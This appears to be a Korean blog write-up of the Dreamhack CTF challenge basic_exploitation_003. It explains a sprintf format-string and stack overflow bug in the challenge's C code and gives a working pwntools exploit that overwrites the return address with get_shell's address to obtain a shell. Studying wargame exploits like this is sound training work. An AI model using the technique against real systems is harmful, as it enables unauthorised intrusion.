728x90
- basic_exploitation_003
: 위 문제에서 제공하는 문제 파일을 다운받은 후 아래와 같은 코드를 확인할 수 있다.
: 위의 코드 중에서 main 부분을 분석하자면
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
: 동적 메모리 할당 함수인 malloc으로 0x80(128바이트 동적 할당 )만큼을 heap_buf에 할당하며, 0x80만큼을 heap_buf에 입력받는다.
: stack_buf 에 0x90(144바이트 배열 할당)만큼 할당된다.
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
: heap_buf 내용을 stack_buf에 sprintf로 출력하며, stack_buf를 출력하고 코드가 종료된다.
→ 위의 코드를 분석하였을 때, sprintf에 fsb가 발생할 수 있다. 하지만, 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 buffer overflow가 발생할 수 있다.
이를 통해, RET 까지 쓰래기 값을 채워 RET 에 get_shell() 함수 주소를 덮어 씌우면 된다.
stack_buf(144byte) |
SFP(4byte) |
RET(4byte) |
: 스택 구조를 살펴보면 stack_buf가 ebp로부터 152바이트 떨어져 있다는 것을 알 수 있다.
그러므로 4바이트를 더한 156 바이트 채워 RET 부분에 get_shell() 함수의 주소를 덮어 써준다.
아래 pwntools를 이용하여 페이로드를 작성해준다.
from pwn import*
p = remote("host1.dreamhack.games", 16088)
get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
넣어 주게 되면 flag 값을 얻어 문제를 해결할 수 있다.
https://dreamhack.io/wargame/challenges/5/
'문제 풀이' 카테고리의 다른 글
[2022 CTF] 리버싱 - Day 13 (0) | 2022.02.14 |
---|---|
[HackCTF] Beginner_Heap 문제 풀이 (0) | 2022.02.10 |
[Dreamhack] basic_exploitation_001, 002 문제 풀이 (0) | 2022.01.29 |
[2022 CTF] 포너블 - Day2 (0) | 2022.01.26 |
[2022 CTF] 포너블 - Day1 (0) | 2022.01.25 |